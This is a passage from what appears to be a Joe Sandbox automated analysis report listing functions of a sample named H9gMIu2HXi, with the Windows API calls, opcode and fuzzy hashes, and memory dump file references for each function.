API String ID: 2447670028-0
Opcode ID: b439ac8ef7580bd9a2af1199a58b3ea675a65daee1f5d8fafd4af6883c1b9469
Instruction ID: 291382c90c1455f2761e0925c27a7b7dbd077463ea74576a2fd4bb6ec44972e2
Opcode Fuzzy Hash: b439ac8ef7580bd9a2af1199a58b3ea675a65daee1f5d8fafd4af6883c1b9469
Instruction Fuzzy Hash: ECF0F63E2C1111A7DB212B26AC01F6BB7689FF1BB1F1B4015F8199A091EF20CC40956B

Uniqueness

Uniqueness Score: -1.00%

Function 00A323BD Relevance: 3.0, APIs: 2, Instructions: 33COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?), ref: 00A323CA
GetProcessAffinityMask.KERNEL32(00000000), ref: 00A323D1

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: Process$AffinityCurrentMask
String ID:
API String ID: 1231390398-0
Opcode ID: 3d367eb89d6b1250b401b71f3d85828c132d60fcb502bb9b85dbd0a77141a389
Instruction ID: bdcbd651b49d0d60e825d257ba08a836b5e7a8f2290f098665dfd8c439d9c1de
Opcode Fuzzy Hash: 3d367eb89d6b1250b401b71f3d85828c132d60fcb502bb9b85dbd0a77141a389
Instruction Fuzzy Hash: C2E0DF33B10205AB9F098BF4AC05AEFB7ECEA48219B20417AB603E7100F978DD4647A0

Uniqueness

Uniqueness Score: -1.00%

Function 00A2F968 Relevance: 3.0, APIs: 2, Instructions: 31COMMON

Download Yara Rule

APIs

LoadStringW.USER32(?,?,00000200,?), ref: 00A2F998
LoadStringW.USER32(?,?,00000200), ref: 00A2F9AF

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: LoadString
String ID:
API String ID: 2948472770-0
Opcode ID: b2f1657fcac287caf362c435f8cb3f6cb801ca1279bbcd2ed9cc23a6211c5164
Instruction ID: 8fe803cf5c0c2434154455ed354944caf31d9e3e9b661128db484e77c4eccf80
Opcode Fuzzy Hash: b2f1657fcac287caf362c435f8cb3f6cb801ca1279bbcd2ed9cc23a6211c5164
Instruction Fuzzy Hash: 23F09E36100115BBDF119FA5EC08DAB7F7AFF067917014435FD0496130D6328965DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00A2B8E6 Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNELBASE(?,00000000,00000001,?,00A2B5B5,?,?,?,00A2B405,?,00000001,00000000,?,?), ref: 00A2B8FA

Part of subcall function 00A2CF32: _wcslen.LIBCMT ref: 00A2CF56

SetFileAttributesW.KERNEL32(?,00000000,?,?,00000800,?,00A2B5B5,?,?,?,00A2B405,?,00000001,00000000,?,?), ref: 00A2B92B

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: AttributesFile$_wcslen
String ID:
API String ID: 2673547680-0
Opcode ID: d3d23a983359e93ed0abc7d68385c1524748306eff0c17ec7440cb766a846d42
Instruction ID: 18ae0c71a8b9107c14013941176448e82f40432d4e6033e8f59ba836ad4970c1
Opcode Fuzzy Hash: d3d23a983359e93ed0abc7d68385c1524748306eff0c17ec7440cb766a846d42
Instruction Fuzzy Hash: 63F0A931114219BBDF119FA4DC00BDA376CBB183CAF008060BA44D62A4DB31DD959A20

Uniqueness

Uniqueness Score: -1.00%

Function 00A2B470 Relevance: 3.0, APIs: 2, Instructions: 27fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNELBASE(?,00000000,?,00A2A438,?,?,?,?,00A2892B,?,?,?,00A5380F,000000FF), ref: 00A2B481

Part of subcall function 00A2CF32: _wcslen.LIBCMT ref: 00A2CF56

DeleteFileW.KERNEL32(?,?,?,00000800,?,00A2A438,?,?,?,?,00A2892B,?,?,?,00A5380F,000000FF), ref: 00A2B4AF

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: DeleteFile$_wcslen
String ID:
API String ID: 2643169976-0
Opcode ID: 9e561c23d31988d0f31df87151b065d622c420ccf8b2d3987d4ae924510d8241
Instruction ID: 78ccc68b384e7047fba242566922a685b41b12f77cc47f6d6aee6bb2c839eb92
Opcode Fuzzy Hash: 9e561c23d31988d0f31df87151b065d622c420ccf8b2d3987d4ae924510d8241
Instruction Fuzzy Hash: 9FE09232550359ABEB01ABA4DC41FDA375DBB08386F444031BA45D20A5DB64DDC59A60

Uniqueness

Uniqueness Score: -1.00%

Function 00A3BD81 Relevance: 3.0, APIs: 2, Instructions: 26comCOMMON

Download Yara Rule

APIs

GdiplusShutdown.GDIPLUS(?,?,?,?,00A5380F,000000FF), ref: 00A3BDB5
OleUninitialize.OLE32(?,?,?,?,00A5380F,000000FF), ref: 00A3BDBA

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: GdiplusShutdownUninitialize
String ID:
API String ID: 3856339756-0
Opcode ID: 30bb4075e24218f8e4a7fe9f6c913866c13f1e6e70fbc7e462af9c5e07a30081
Instruction ID: ba0e1f4f738adf5aec74776e0f6db65f01e5fed0781a643a71c2df706ea22773
Opcode Fuzzy Hash: 30bb4075e24218f8e4a7fe9f6c913866c13f1e6e70fbc7e462af9c5e07a30081
Instruction Fuzzy Hash: 36E06572504650EFCB14DB58DC09B49FBA9FB88B24F104226F41593760CB746801CA90

Uniqueness

Uniqueness Score: -1.00%

Function 00A3F002 Relevance: 3.0, APIs: 2, Instructions: 25COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 00A3F02C

Part of subcall function 00A24A20: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00A24A33

SetDlgItemTextW.USER32(00000065,?), ref: 00A3F043

Part of subcall function 00A3C758: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00A3C769
Part of subcall function 00A3C758: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00A3C77A
Part of subcall function 00A3C758: IsDialogMessageW.USER32(0001046C,?), ref: 00A3C78E
Part of subcall function 00A3C758: TranslateMessage.USER32(?), ref: 00A3C79C
Part of subcall function 00A3C758: DispatchMessageW.USER32(?), ref: 00A3C7A6

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: Message$DialogDispatchItemPeekTextTranslate__vswprintf_c_l_swprintf
String ID:
API String ID: 2718869927-0
Opcode ID: bd38b546bb9da6a5665fcaa10649b424f62964a3d8abc2f70da3845c370c0a8f
Instruction ID: 16e490f2c5d8d05dca0d39991c99309bab30f5db98ea26d672eeaec8fd2e5a35
Opcode Fuzzy Hash: bd38b546bb9da6a5665fcaa10649b424f62964a3d8abc2f70da3845c370c0a8f
Instruction Fuzzy Hash: A4E09B7641425C3ADF01E7A5DD0EF9A36AC5B147C9F040461F641A60A2D6B5D5118F62

Uniqueness

Uniqueness Score: -1.00%

Function 00A2B4D3 Relevance: 3.0, APIs: 2, Instructions: 25COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,?,?,00A2B4CA,?,00A28042,?), ref: 00A2B4E4

Part of subcall function 00A2CF32: _wcslen.LIBCMT ref: 00A2CF56

GetFileAttributesW.KERNELBASE(?,?,?,00000800,?,?,00A2B4CA,?,00A28042,?), ref: 00A2B510

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: AttributesFile$_wcslen
String ID:
API String ID: 2673547680-0
Opcode ID: d7dcdd5c5f3dd9cf5ef2808b6dd1d856dbc23b545526593d082abd30c88f6c22
Instruction ID: fea0d76845b335538ec4a7152a577bbf84634a1d6c5fb2099c1af53a4cfd46a4
Opcode Fuzzy Hash: d7dcdd5c5f3dd9cf5ef2808b6dd1d856dbc23b545526593d082abd30c88f6c22
Instruction Fuzzy Hash: 2AE092315103686BDB20EB68EC04BDA7758BB093E6F000170FE46E71E5D774AD818AE0

Uniqueness

Uniqueness Score: -1.00%

Function 00A31B3B Relevance: 3.0, APIs: 2, Instructions: 24libraryCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?,00000800), ref: 00A31B56
LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,00A3063A,Crypt32.dll,00000000,00A306B4,00000200,?,00A30697,00000000,00000000,?), ref: 00A31B78

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: DirectoryLibraryLoadSystem
String ID:
API String ID: 1175261203-0
Opcode ID: ef2351ecbefcc49d13dcf062b91f21fd6efc7c8536066b5127477af5fe63cdb3
Instruction ID: 08f87f63e830a621ea70f20f10fd7d9e4d1d14abb6a8fc6200c5f56e918a2676
Opcode Fuzzy Hash: ef2351ecbefcc49d13dcf062b91f21fd6efc7c8536066b5127477af5fe63cdb3
Instruction Fuzzy Hash: ADE048769103286BDB119BE5DD04FDA77ACFF0D3C2F0400657645D2048DA74DA84CBB0

Uniqueness

Uniqueness Score: -1.00%

Function 00A3B3C8 Relevance: 3.0, APIs: 2, Instructions: 23windowCOMMON

Download Yara Rule

APIs

GdipCreateBitmapFromStreamICM.GDIPLUS(?,?), ref: 00A3B3E9
GdipCreateBitmapFromStream.GDIPLUS(?,?), ref: 00A3B3F0

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: BitmapCreateFromGdipStream
String ID:
API String ID: 1918208029-0
Opcode ID: 0c489961e76aded5db2a2c5d7d4f2ebeb5982a5be946a34620b4aa38f016408d
Instruction ID: 0219a41bbf4d75b281c18b45d370870614affd6c95e4fb0f1ee1528f4884611c
Opcode Fuzzy Hash: 0c489961e76aded5db2a2c5d7d4f2ebeb5982a5be946a34620b4aa38f016408d
Instruction Fuzzy Hash: 89E0ED71910618EFCB10DF99C545699B7F8EF08355F20806AF99597600E374AE449BA1

Uniqueness

Uniqueness Score: -1.00%

Function 00A43D1C Relevance: 3.0, APIs: 2, Instructions: 19COMMON

Download Yara Rule

APIs

___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00A43D3A
___vcrt_uninitialize_ptd.LIBVCRUNTIME ref: 00A43D45

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: Value___vcrt____vcrt_uninitialize_ptd
String ID:
API String ID: 1660781231-0
Opcode ID: 1f6a4c5d5f769eff160a2e7744c07ae1026c1c0efaa8b1cec086441fe3b74b98
Instruction ID: e58d2c20b9fbbbc8848859b2d9c5956eb3d180019ccb6a1fb44545fe48d26182
Opcode Fuzzy Hash: 1f6a4c5d5f769eff160a2e7744c07ae1026c1c0efaa8b1cec086441fe3b74b98
Instruction Fuzzy Hash: DFD0223FC08B02349C0833B82E0398B1364BAE5B707B01F86E0309A0C1EE188A056121

Uniqueness

Uniqueness Score: -1.00%

Function 00A212D1 Relevance: 3.0, APIs: 2, Instructions: 11COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00A212E6
ShowWindow.USER32(00000000), ref: 00A212ED

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: ItemShowWindow
String ID:
API String ID: 3351165006-0
Opcode ID: 74c07520c37e512be21eb13000a05e14a24848f84aaf1ce0fdba9acdc7ad9875
Instruction ID: 8fed9078b5562156c66f3303dade6a598f3f2a2b00f42fe4f3f6743404793fd9
Opcode Fuzzy Hash: 74c07520c37e512be21eb13000a05e14a24848f84aaf1ce0fdba9acdc7ad9875
Instruction Fuzzy Hash: 37C01236858A00BECB01ABF0DC0DE2ABBA8EBA4212F10CA08F4A6C1060C239C020DB11

Uniqueness

Uniqueness Score: -1.00%

Function 00A212B3 Relevance: 3.0, APIs: 2, Instructions: 8COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00A212C1
KiUserCallbackDispatcher.NTDLL(00000000), ref: 00A212C8

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: CallbackDispatcherItemUser
String ID:
API String ID: 4250310104-0
Opcode ID: 9e0c9b4a310f3bb6b5aafc8338e8e2d9a28c2d06a886e185b50ebe85bdba894c
Instruction ID: 4b9972c91578f20225ddff35283059354febf2b689a6f9f33129b898f29d6a4c
Opcode Fuzzy Hash: 9e0c9b4a310f3bb6b5aafc8338e8e2d9a28c2d06a886e185b50ebe85bdba894c
Instruction Fuzzy Hash: 98C04C76808640BFCB01ABF49D0CD2FBFB9AB94311F50CA09B5A581024C6358411DF11

Uniqueness

Uniqueness Score: -1.00%

Function 00A21AD3 Relevance: 1.8, APIs: 1, Instructions: 319COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00A21AD8

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 0d8adfc7d4a9cb510d778e0e4ec541c813c34d75a4804355b211f7a00dc9a863
Instruction ID: cd26c3088d8ca99241d1c8dd200762d504c65d3a5de2d9f6d112c2b92b4103fe
Opcode Fuzzy Hash: 0d8adfc7d4a9cb510d778e0e4ec541c813c34d75a4804355b211f7a00dc9a863
Instruction Fuzzy Hash: 42C1A274A043649FDF25CF2CD9847AD7BA5AF6A310F1801BAEC059B296CB349E44CB61

Uniqueness

Uniqueness Score: -1.00%

Function 00A242F1 Relevance: 1.7, APIs: 1, Instructions: 177COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00A242F6

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 2bc5333e62fb6c7e24bd8695ddca5861e7c4b305eeed804c9e8c0238390e12c7
Instruction ID: 26024ded9de415cd605c8570984a3f80057ce23a7a33fd4ae199f4a63ac951cc
Opcode Fuzzy Hash: 2bc5333e62fb6c7e24bd8695ddca5861e7c4b305eeed804c9e8c0238390e12c7
Instruction Fuzzy Hash: 5871B2B1504B959FCB25EB78E951AE7B7E8BF19300F04093EF1AB46181DB71BA44CB11

Uniqueness

Uniqueness Score: -1.00%

Function 00A290A2 Relevance: 1.6, APIs: 1, Instructions: 114COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00A290A7

Part of subcall function 00A213F8: __EH_prolog.LIBCMT ref: 00A213FD

Part of subcall function 00A22032: __EH_prolog.LIBCMT ref: 00A22037

Part of subcall function 00A2B966: FindClose.KERNELBASE(00000000,000000FF,?,?), ref: 00A2B991

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: H_prolog$CloseFind
String ID:
API String ID: 2506663941-0
Opcode ID: fe4b44629f080b104ebf72156f4a7878386bd72a357cb3648b9b4a89bd261ab5
Instruction ID: ae6b7743ce3933387a40ef8b82362bf6d3b6f0837fb265b8e172e6e609ef234a
Opcode Fuzzy Hash: fe4b44629f080b104ebf72156f4a7878386bd72a357cb3648b9b4a89bd261ab5
Instruction Fuzzy Hash: 3741D631904274AEDB24DB68E9A5AEB73B9AF10740F4401FAF58A67083DB755F88CF10

Uniqueness

Uniqueness Score: -1.00%

Function 00A213FD Relevance: 1.6, APIs: 1, Instructions: 107COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00A213FD

Part of subcall function 00A26891: __EH_prolog.LIBCMT ref: 00A26896

Part of subcall function 00A2E298: __EH_prolog.LIBCMT ref: 00A2E29D

Part of subcall function 00A2644D: __EH_prolog.LIBCMT ref: 00A26452

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 1f8073ac08535f4c8cbe05df800e5e5d03800783e0b9785d93118aab4938c689
Instruction ID: 1625cb7362fa24d4d856c8b3aa6b8bc5d6650ffe0bde38b1ce1ae334060f03a9
Opcode Fuzzy Hash: 1f8073ac08535f4c8cbe05df800e5e5d03800783e0b9785d93118aab4938c689
Instruction Fuzzy Hash: 5E5145B19063808ECB14DF2995C02D9BBE6AF69300F1802BEEC5DCF68BD7750654CB61

Uniqueness

Uniqueness Score: -1.00%

Function 00A213F8 Relevance: 1.6, APIs: 1, Instructions: 106COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00A213FD

Part of subcall function 00A26891: __EH_prolog.LIBCMT ref: 00A26896

Part of subcall function 00A2E298: __EH_prolog.LIBCMT ref: 00A2E29D

Part of subcall function 00A2644D: __EH_prolog.LIBCMT ref: 00A26452

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

